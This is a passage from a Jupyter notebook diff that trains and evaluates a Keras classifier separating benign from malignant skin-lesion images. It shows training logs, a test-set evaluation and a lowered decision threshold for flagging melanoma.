0.2597 - accuracy: 0.8972\n", + "Epoch 63: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2597 - accuracy: 0.8972 - val_loss: 0.4142 - val_accuracy: 0.8047\n", + "Epoch 64/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2454 - accuracy: 0.9068\n", + "Epoch 64: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2454 - accuracy: 0.9068 - val_loss: 0.5029 - val_accuracy: 0.8047\n", + "Epoch 65/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2521 - accuracy: 0.8936\n", + "Epoch 65: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.2521 - accuracy: 0.8936 - val_loss: 0.4601 - val_accuracy: 0.8438\n", + "Epoch 66/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2419 - accuracy: 0.9042\n", + "Epoch 66: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2419 - accuracy: 0.9042 - val_loss: 0.4847 - val_accuracy: 0.8359\n", + "Epoch 67/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2425 - accuracy: 0.9022\n", + "Epoch 67: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2425 - accuracy: 0.9022 - val_loss: 0.5090 - val_accuracy: 0.8125\n", + "Epoch 68/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2441 - accuracy: 0.8957\n", + "Epoch 68: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2441 - accuracy: 0.8957 - val_loss: 0.4995 - val_accuracy: 0.7734\n", + "Epoch 69/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2469 - accuracy: 0.8977\n", + "Epoch 69: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2469 - accuracy: 0.8977 - val_loss: 0.4630 - val_accuracy: 0.8281\n", + "Epoch 70/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2530 - accuracy: 0.8962\n", + "Epoch 70: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2530 - accuracy: 0.8962 - val_loss: 0.4824 - val_accuracy: 0.8047\n", + "Epoch 71/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2385 - accuracy: 0.9078\n", + "Epoch 71: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2385 - accuracy: 0.9078 - val_loss: 0.3993 - val_accuracy: 0.8594\n", + "Epoch 72/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2505 - accuracy: 0.9022\n", + "Epoch 72: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2505 - accuracy: 0.9022 - val_loss: 0.4983 - val_accuracy: 0.8281\n", + "Epoch 73/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2357 - accuracy: 0.9022\n", + "Epoch 73: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2357 - accuracy: 0.9022 - val_loss: 0.6113 - val_accuracy: 0.8047\n", + "Epoch 74/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2467 - accuracy: 0.8942\n", + "Epoch 74: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2467 - accuracy: 0.8942 - val_loss: 0.4633 - val_accuracy: 0.8516\n", + "Epoch 75/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2425 - accuracy: 0.8977\n", + "Epoch 75: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2425 - accuracy: 0.8977 - val_loss: 0.6210 - val_accuracy: 0.8281\n", + "Epoch 76/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2407 - accuracy: 0.9027\n", + "Epoch 76: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2407 - accuracy: 0.9027 - val_loss: 0.7663 - val_accuracy: 0.7891\n", + "Epoch 77/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2467 - accuracy: 0.8942\n", + "Epoch 77: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2467 - accuracy: 0.8942 - val_loss: 0.6485 - val_accuracy: 0.8203\n", + "Epoch 78/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2432 - accuracy: 0.9047\n", + "Epoch 78: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2432 - accuracy: 0.9047 - val_loss: 0.6612 - val_accuracy: 0.8125\n", + "Epoch 79/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2379 - accuracy: 0.9068\n", + "Epoch 79: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2379 - accuracy: 0.9068 - val_loss: 0.8306 - val_accuracy: 0.7812\n", + "Epoch 80/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2315 - accuracy: 0.9108\n", + "Epoch 80: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2315 - accuracy: 0.9108 - val_loss: 0.8280 - val_accuracy: 0.7891\n", + "Epoch 81/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2394 - accuracy: 0.9012\n", + "Epoch 81: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2394 - accuracy: 0.9012 - val_loss: 0.7737 - val_accuracy: 0.8047\n", + "Epoch 82/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2304 - accuracy: 0.9098\n", + "Epoch 82: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2304 - accuracy: 0.9098 - val_loss: 0.8195 - val_accuracy: 0.7969\n", + "Epoch 83/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2290 - accuracy: 0.9098\n", + "Epoch 83: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2290 - accuracy: 0.9098 - val_loss: 0.9229 - val_accuracy: 0.8047\n", + "Epoch 84/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2367 - accuracy: 0.9037\n", + "Epoch 84: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2367 - accuracy: 0.9037 - val_loss: 0.8928 - val_accuracy: 0.7969\n", + "Epoch 85/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2345 - accuracy: 0.9062\n", + "Epoch 85: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2345 - accuracy: 0.9062 - val_loss: 0.8177 - val_accuracy: 0.8125\n", + "Epoch 86/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2342 - accuracy: 0.9042\n", + "Epoch 86: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2342 - accuracy: 0.9042 - val_loss: 1.0400 - val_accuracy: 0.7891\n", + "Epoch 87/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2329 - accuracy: 0.9083\n", + "Epoch 87: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2329 - accuracy: 0.9083 - val_loss: 0.8483 - val_accuracy: 0.8047\n", + "Epoch 88/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2246 - accuracy: 0.9143\n", + "Epoch 88: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2246 - accuracy: 0.9143 - val_loss: 1.0015 - val_accuracy: 0.7812\n", + "Epoch 89/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2342 - accuracy: 0.9068\n", + "Epoch 89: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2342 - accuracy: 0.9068 - val_loss: 0.7876 - val_accuracy: 0.8125\n", + "Epoch 90/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2329 - accuracy: 0.9108\n", + "Epoch 90: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2329 - accuracy: 0.9108 - val_loss: 0.7937 - val_accuracy: 0.8125\n", + "Epoch 91/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2320 - accuracy: 0.9103\n", + "Epoch 91: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2320 - accuracy: 0.9103 - val_loss: 0.8469 - val_accuracy: 0.8125\n", + "Epoch 92/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2286 - accuracy: 0.9153\n", + "Epoch 92: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2286 - accuracy: 0.9153 - val_loss: 0.8626 - val_accuracy: 0.7969\n", + "Epoch 93/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2362 - accuracy: 0.9078\n", + "Epoch 93: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2362 - accuracy: 0.9078 - val_loss: 0.8275 - val_accuracy: 0.8047\n", + "Epoch 94/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2225 - accuracy: 0.9143\n", + "Epoch 94: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2225 - accuracy: 0.9143 - val_loss: 0.9085 - val_accuracy: 0.8047\n", + "Epoch 95/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2291 - accuracy: 0.9083\n", + "Epoch 95: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2291 - accuracy: 0.9083 - val_loss: 0.7826 - val_accuracy: 0.8203\n", + "Epoch 96/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2272 - accuracy: 0.9103\n", + "Epoch 96: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2272 - accuracy: 0.9103 - val_loss: 0.8306 - val_accuracy: 0.8047\n", + "Epoch 97/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2330 - accuracy: 0.9133\n", + "Epoch 97: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2330 - accuracy: 0.9133 - val_loss: 0.7418 - val_accuracy: 0.8203\n", + "Epoch 98/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2207 - accuracy: 0.9128\n", + "Epoch 98: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 281ms/step - loss: 0.2207 - accuracy: 0.9128 - val_loss: 0.9743 - val_accuracy: 0.7734\n", + "Epoch 99/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2284 - accuracy: 0.9083\n", + "Epoch 99: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.2284 - accuracy: 0.9083 - val_loss: 0.8099 - val_accuracy: 0.7891\n", + "Epoch 100/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2168 - accuracy: 0.9178\n", + "Epoch 100: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2168 - accuracy: 0.9178 - val_loss: 0.7417 - val_accuracy: 0.8125\n" + ] + } + ], + "source": [ + "model_name = f\"benign-vs-malignant_{batch_size}_{optimizer}\"\n", + "tensorboard = tf.keras.callbacks.TensorBoard(log_dir=os.path.join(\"logs\", model_name))\n", + "# saves model checkpoint whenever we reach better weights\n", + "modelcheckpoint = tf.keras.callbacks.ModelCheckpoint(model_name + \"_{val_loss:.3f}.h5\", save_best_only=True, verbose=1)\n", + "\n", + "history = m.fit(train_ds, validation_data=valid_ds, \n", + " steps_per_epoch=n_training_samples // batch_size, \n", + " validation_steps=n_validation_samples // batch_size, verbose=1, epochs=100,\n", + " callbacks=[tensorboard, modelcheckpoint])" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "RTYp8Ih2onEO", + "outputId": "d5b72e61-acdf-450d-adc0-48b51bfd956d" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of testing samples: 600\n" + ] + } + ], + "source": [ + "# evaluation\n", + "\n", + "# load testing set\n", + "test_metadata_filename = \"test.csv\"\n", + "df_test = pd.read_csv(test_metadata_filename)\n", + "n_testing_samples = len(df_test)\n", + "print(\"Number of testing samples:\", n_testing_samples)\n", + "test_ds = tf.data.Dataset.from_tensor_slices((df_test[\"filepath\"], df_test[\"label\"]))\n", + "\n", + "def prepare_for_testing(ds, cache=True, shuffle_buffer_size=1000):\n", + " # This is a small dataset, only load it once, and keep it in memory.\n", + " # use `.cache(filename)` to cache preprocessing work for datasets that don't\n", + " # fit in memory.\n", + " if cache:\n", + " if isinstance(cache, str):\n", + " ds = ds.cache(cache)\n", + " else:\n", + " ds = ds.cache()\n", + "\n", + " ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n", + "\n", + " return ds\n", + "\n", + "\n", + "test_ds = test_ds.map(process_path)\n", + "test_ds = prepare_for_testing(test_ds, cache=\"test-cached-data\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FXeRz9DQoo07", + "outputId": "13083464-d23c-432a-8de1-e52ee06d1af8" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "y_test.shape: (600,)\n" + ] + } + ], + "source": [ + "# convert testing set to numpy array to fit in memory (don't do that when testing\n", + "# set is too large)\n", + "y_test = np.zeros((n_testing_samples,))\n", + "X_test = np.zeros((n_testing_samples, 299, 299, 3))\n", + "for i, (img, label) in enumerate(test_ds.take(n_testing_samples)):\n", + " # print(img.shape, label.shape)\n", + " X_test[i] = img\n", + " y_test[i] = label.numpy()\n", + "\n", + "print(\"y_test.shape:\", y_test.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": { + "id": "4HzOl1TtoqKG" + }, + "outputs": [], + "source": [ + "# load the weights with the least loss\n", + "m.load_weights(\"benign-vs-malignant_64_rmsprop_0.399.h5\")" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "VVEdeCwmo1q9", + "outputId": "79ba51cb-8898-4b33-f564-a9266c3d360d" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Evaluating the model...\n", + "Loss: 0.4762299060821533 Accuracy: 0.7883333563804626\n" + ] + } + ], + "source": [ + "print(\"Evaluating the model...\")\n", + "loss, accuracy = m.evaluate(X_test, y_test, verbose=0)\n", + "print(\"Loss:\", loss, \" Accuracy:\", accuracy)" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "GxL5QhIvo3vw", + "outputId": "c79525e4-ca14-46de-d31d-2f0016cd879a" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "19/19 [==============================] - 2s 123ms/step\n", + "Accuracy after setting the threshold: 0.7883333333333333\n" + ] + } + ], + "source": [ + "from sklearn.metrics import accuracy_score\n", + "\n", + "def get_predictions(threshold=None):\n", + " \"\"\"\n", + " Returns predictions for binary classification given `threshold`\n", + " For instance, if threshold is 0.3, then it'll output 1 (malignant) for that sample if\n", + " the probability of 1 is 30% or more (instead of 50%)\n", + " \"\"\"\n", + " y_pred = m.predict(X_test)\n", + " if not threshold:\n", + " threshold = 0.5\n", + " result = np.zeros((n_testing_samples,))\n", + " for i in range(n_testing_samples):\n", + " # test melanoma probability\n", + " if y_pred[i][0] >= threshold:\n", + " result[i] = 1\n", + " # else, it's 0 (benign)\n", + " return result\n", + "\n", + "threshold = 0.23\n", + "# get predictions with 23% threshold\n", + "# which means if the model is 23% sure or more that is malignant,\n", + "# it's assigned as malignant, otherwise it's benign\n", + "y_pred = get_predictions(threshold)\n", + "accuracy_after = accuracy_score(y_test, y_pred)\n", + "print(\"Accuracy after setting the threshold:\", accuracy_after)" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 971 + }, + "id": "Ah4rouFBo5LI", + "outputId": "c2f62e09-616d-4f3c-8b38-57cccf998cbd" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[[0.5610766 0.4389234 ]\n", + " [0.23931624 0.76068376]]\n" + ] + }, + { + "data": { + "image/png": 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